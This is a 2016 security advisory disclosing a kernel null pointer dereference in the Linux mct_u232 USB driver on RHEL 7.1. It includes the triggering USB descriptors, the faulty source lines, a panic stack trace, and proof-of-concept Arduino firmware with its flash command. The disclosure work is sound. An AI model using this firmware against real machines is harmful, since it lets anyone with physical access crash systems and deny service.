Linux mct_u232 Null Pointer Dereference

`OS-S Security Advisory 2016-08  
Linux mct_u232 Nullpointer Dereference   
  
Date: March 4th, 2016  
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg  
CVE: not yet assigned  
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)  
Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid   
USB device descriptors (mct_u232_m8 driver)  
Severity: Critical. The Kernel panics. A reboot is required.  
Ease of Exploitation: Trivial  
Vulnerability type: Wrong input validation  
Products: RHEL 7.1 including all updates  
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the   
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)  
Vendor: Red Hat  
Vendor contacted: November, 12th 2015  
PDF of advisory: https://os-s.net/advisories/OSS-2016-08_mct_u232.pdf  
  
Abstract:  
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB   
device requiring the mct_u232_m8 driver.  
  
Detailed product description:  
We confirmed the bug on the following system:  
RHEL 7.1  
Kernel 3.10.0-229.20.1.el7.x86_64  
Further products or kernel versions have not been tested.  
How reproducible: Always  
Actual results: Kernel crashes.   
  
Description:  
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo   
(github.com/schumilo) using the following device descriptor:  
  
[*] Device-Descriptor  
bLength: 0x12  
bDescriptorType: 0x1  
bcdUSB: 0x200  
bDeviceClass: 0x3  
bDeviceSubClass: 0x0  
bDeviceProtocol: 0x0  
bMaxPacketSize: 0x40  
idVendor: 0x50d  
idProduct: 0x109  
bcdDevice: 0x100  
iManufacturer: 0x1  
iProduct: 0x2  
iSerialNumbers: 0x3  
bNumConfigurations: 0x1  
  
  
  
This is the configuration descriptor containing only one interrupt-endpoint-  
descriptor (IN-direction).  
The mct_u232 driver assumes that there will be at least two endpoint-  
descriptors configured as interrupt-in.  
Since there is no sanity check, it is possible that the kernel tries to   
dereference a null-pointer.  
This results in a crash of the system.   
  
  
  
  
****  
$ nm mct_u232.ko.debug | grep mct_u232_port_probe  
0000000000000fc0 t mct_u232_port_probe  
$ addr2line -e mct_u232.ko.debug 0xFF9  
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/usb/serial/mct_u232.c:386  
****  
  
**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/serial/mct_u232.c)  
...  
377 static int mct_u232_port_probe(struct usb_serial_port *port)  
378 {  
379 struct mct_u232_private *priv;  
380  
381 priv = kzalloc(sizeof(*priv), GFP_KERNEL);  
382 if (!priv)  
383 return -ENOMEM;  
384  
385 /* Use second interrupt-in endpoint for reading. */  
386 priv->read_urb = port->serial->port[1]->interrupt_in_urb; /* missing   
sanity check -> possible null-pointer dereference */  
387 priv->read_urb->context = port;  
388  
389 spin_lock_init(&priv->lock);  
390  
391 usb_set_serial_port_data(port, priv);  
392  
393 return 0;  
395 }  
...  
****  
  
  
[*] Configuration-Descriptor  
bLength: 0x9  
bDescriptorType: 0x2  
wTotalLength: 0x27  
bNumInterfaces: 0x1  
bConfigurationValue: 0x1  
iConfiguration: 0x0  
bmAttributes: 0x0  
bMaxPower: 0x31  
[*] Interface-Descriptor  
bLength: 0x9  
bDescriptorType: 0x4  
bInterfaceNumber: 0x0  
bAlternateSetting: 0x0  
bNumEndpoints: 0x3  
bInterfaceClass: 0x0  
bInterfaceSubClass: 0x0  
bInterfaceProtocol: 0x0  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x81  IN-Direction  
bmAttribut: 0x3  Interrupt-Transfer  
wMaxPacketSize: 0x404  
bInterval: 0xc  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x1 OUT-Direction  
bmAttribut: 0x2 Bulk-Transfer  
wMaxPacketSize: 0x4  
bInterval: 0xc  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x82 IN-Direction  
bmAttribut: 0x1 Bulk-Transfer  
wMaxPacketSize: 0x4  
bInterval: 0xc  
  
Proof of Concept:  
For a proof of concept, we are providing an Arduino Leonardo firmware file. This   
firmware will emulate the defective USB device.  
  
  
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U   
flash:w:binary.hex  
  
  
The firmware has been attached to this bug report.  
To prevent the automated delivery of the payload, a jumper may be used to   
connect port D3 and 3V3!  
  
Severity and Ease of Exploitation:  
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware,   
only physical access to the system is required.  
  
Vendor Communication:  
We contacted Red Hat on the November, 12th 2015.  
To this day, no security patch was provided by the vendor.  
Since our 90-day Responsible Discourse deadline is expired, we publish this   
Security Advisory.   
  
References:  
https://bugzilla.redhat.com/show_bug.cgi?id=1283370  
  
  
Kernel Stacktrace:  
  
  
[ 2273.524650] usb 1-1: new full-speed USB device number 2 using xhci_hcd  
[ 2273.741789] usb 1-1: New USB device found, idVendor=050d, idProduct=0109  
[ 2273.749429] usb 1-1: New USB device strings: Mfr=1, Product=2,   
SerialNumber=3  
[ 2273.757144] usb 1-1: Product: ĉ  
[ 2273.760821] usb 1-1: Manufacturer: ĉ  
[ 2273.763500] usb 1-1: SerialNumber: %  
[ 2273.768699] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc   
says 96 microframes  
[ 2273.814069] usbcore: registered new interface driver mct_u232  
[ 2273.820979] usbserial: USB Serial support registered for MCT U232  
[ 2273.833864] mct_u232 1-1:1.0: MCT U232 converter detected  
[ 2273.838511] BUG: unable to handle kernel NULL pointer dereference at   
0000000000000158  
[ 2273.839330] IP: [<ffffffffa0393ff9>] mct_u232_port_probe+0x39/0x70 [mct_u232]  
[ 2273.839330] PGD 0   
[ 2273.839330] Oops: 0000 [#1] SMP   
[ 2273.839330] Modules linked in: mct_u232(+) ip6t_rpfilter ip6t_REJECT   
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc   
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6   
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter   
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat   
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter   
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper   
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c   
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix   
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod  
[ 2273.839330] CPU: 0 PID: 8890 Comm: systemd-udevd Not tainted   
3.10.0-229.14.1.el7.x86_64 #1  
[ 2273.839330] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS   
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014  
[ 2273.839330] task: ffff88000f546660 ti: ffff88000f4cc000 task.ti: ffff88000f4cc000  
[ 2273.839330] RIP: 0010:[<ffffffffa0393ff9>] [<ffffffffa0393ff9>]   
mct_u232_port_probe+0x39/0x70 [mct_u232]  
[ 2273.839330] RSP: 0018:ffff88000f4cf908 EFLAGS: 00010286  
[ 2273.839330] RAX: ffff88000d9b49a0 RBX: ffff88000c34e800 RCX: 0000000000000000  
[ 2273.839330] RDX: 0000000000000000 RSI: ffff88000d9b49a0 RDI: ffff88000c34eab0  
[ 2273.839330] RBP: ffff88000f4cf910 R08: 00000000000163c0 R09: ffff88000e401c00  
[ 2273.839330] R10: ffffffffa0393fe3 R11: 0000000000000004 R12: 0000000000000000  
[ 2273.839330] R13: ffff88000c34e800 R14: ffffffffa0396000 R15: ffffffffa0396000  
[ 2273.839330] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000)   
knlGS:0000000000000000  
[ 2273.839330] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b  
[ 2273.839330] CR2: 0000000000000158 CR3: 000000000f70c000 CR4:   
00000000000006f0  
[ 2273.839330] DR0: 0000000000000000 DR1: 0000000000000000 DR2:   
0000000000000000  
[ 2273.839330] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400  
[ 2273.839330] Stack:  
[ 2273.839330] ffff88000c34eab0 ffff88000f4cf940 ffffffff81461cf6 ffff88000c34eab0  
[ 2273.839330] ffff88000c34eab0 ffffffffa0396028 ffff88000c34eab0 ffff88000f4cf968  
[ 2273.839330] ffffffff813d30d7 ffffffffa0396028 ffff88000c34eab0 ffffffff813d33e0  
[ 2273.839330] Call Trace:  
[ 2273.839330] [<ffffffff81461cf6>] usb_serial_device_probe+0x56/0x110  
[ 2273.839330] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390  
[ 2273.839330] [<ffffffff813d33e0>] ? driver_probe_device+0x390/0x390  
[ 2273.839330] [<ffffffff813d341b>] __device_attach+0x3b/0x40  
[ 2273.839330] [<ffffffff813d0f1b>] bus_for_each_drv+0x6b/0xb0  
[ 2273.839330] [<ffffffff813d2fd8>] device_attach+0x88/0xa0  
[ 2273.839330] [<ffffffff813d22d8>] bus_probe_device+0x98/0xc0  
[ 2273.839330] [<ffffffff813cfd64>] device_add+0x4c4/0x7a0  
[ 2273.839330] [<ffffffff81460243>] usb_serial_probe+0x1123/0x1230  
[ 2273.839330] [<ffffffff812d649c>] ? ida_get_new_above+0x7c/0x2a0  
[ 2273.839330] [<ffffffff811aba6a>] ? kmem_cache_alloc+0x1ba/0x1d0  
[ 2273.839330] [<ffffffff8123e5b2>] ? sysfs_addrm_finish+0x42/0xe0  
[ 2273.839330] [<ffffffff8123e391>] ? __sysfs_add_one+0x61/0x100  
[ 2273.839330] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0  
[ 2273.839330] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390  
[ 2273.839330] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0  
[ 2273.839330] [<ffffffff813d3420>] ? __device_attach+0x40/0x40  
[ 2273.839330] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0  
[ 2273.839330] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20  
[ 2273.839330] [<ffffffff8145ec4b>] usb_serial_register_drivers+0x29b/0x580  
[ 2273.839330] [<ffffffffa0399000>] ? 0xffffffffa0398fff  
[ 2273.839330] [<ffffffffa039901e>] usb_serial_module_init+0x1e/0x1000 [mct_u232]  
[ 2273.839330] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230  
[ 2273.839330] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40  
[ 2273.839330] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0  
[ 2273.839330] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150  
[ 2273.839330] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0  
[ 2273.839330] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b  
[ 2273.839330] Code: 00 00 48 89 e5 53 48 89 fb 48 8b 3d aa 3e aa e1 e8 9d 7a   
e1 e0 48 85 c0 74 38 48 8b 13 48 8d bb b0 02 00 00 48 89 c6 48 8b 52 28 <48>   
8b 92 58 01 00 00 48 89 10 48 89 9a b0 00 00 00 c7 40 08 00   
[ 2273.839330] RIP [<ffffffffa0393ff9>] mct_u232_port_probe+0x39/0x70 [mct_u232]  
[ 2273.839330] RSP <ffff88000f4cf908>  
[ 2273.839330] CR2: 0000000000000158  
[ 2274.348716] ---[ end trace b239663354a1c556 ]---  
[ 2274.356144] Kernel panic - not syncing: Fatal exception  
[ 2274.357102] drm_kms_helper: panic occurred, switching back to text console  
  
  
  
Arduino Leonardo Firmware:  
  
:100000000C94A8000C94C5000C94C5000C94C50079  
:100010000C94C5000C94C5000C94C5000C94C5004C  
:100020000C94C5000C94C5000C94C4050C942F04CA  
:100030000C94C5000C94C5000C94C5000C94C5002C  
:100040000C94C5000C94C5000C94C5000C94C5001C  
:100050000C94C5000C94C5000C94C5000C940E02C1  
:100060000C94C5000C94C5000C94C5000C94C500FC  
:100070000C94C5000C94C5000C94C5000C94C500EC  
:100080000C94C5000C94C5000C94C5000C94C500DC  
:100090000C94C5000C94C5000C94C5000C94C500CC  
:1000A0000C94C5000C94C5000C94C5000B030E0302  
:1000B000010305032F032F032F03120316031A0353  
:1000C000200324032F032A030000000200080E006F  
:1000D00000030401000B000000000000000000000D  
:1000E00000000000000004080201104080401020C1  
:1000F00040804080080204018040201002011080EE  
:100100001020404004040404040304050202020217  
:1001100004030202020206060606060604040202A0  
:100120000204000000002300260029002C002F00FC  
:1001300000000000250028002B002E0031000000E8  
:100140000000240027002A002D00300000C180811B  
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077  
:10016000B1E0E4EDF3E102C005900D92A436B107D1  
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C  
:10018000E1F70E94C8000C9404070C940000089545  
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421  
:1001A000DEBF0FBECDBF0E94A1020E94C70060E06B  
:1001B00083E00E94300361E087E00E94300361E049  
:1001C00088E00E9430030E9459067E012AE9E20E6F  
:1001D000F11C84E093E0D70111969C938E9389E003  
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:1001F0009E012F5F3F4F6901D90101900D928A95B1  
:10020000E1F788E1E4E3F1E0DE01939601900D92DD  
:100210008A95E1F782E1ECE4F1E0DE01DB96019002  
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:10023000BF4F01900D928A95E1F72A593F4F99E0FF  
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:100340000E94650687EC92E00E94650686E093E0D5  
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:100400007B020FB6F894DEBF0FBECDBFC1CF6AE04E  
:1004100070E080E090E00E947B02ACCF1F920F92D0  
:100420000FB60F9211242F933F938F939F93AF9307  
:10043000BF938091650590916605A0916705B09185  
:1004400068053091640523E0230F2D3720F40196D1  
:10045000A11DB11D05C026E8230F0296A11DB11DE7  
:10046000209364058093650590936605A0936705C6  
:10047000B09368058091690590916A05A0916B051C  
:10048000B0916C050196A11DB11D809369059093F3  
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:1004A0008F913F912F910F900FBE0F901F90189535  
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--   
OpenSource Security Ralf Spenneberg http://www.os-s.de  
Am Bahnhof 3-5 48565 Steinfurt Germany  
Fon: +49(0)2552 638 755 Fax: +49(0)2552 638 757  
`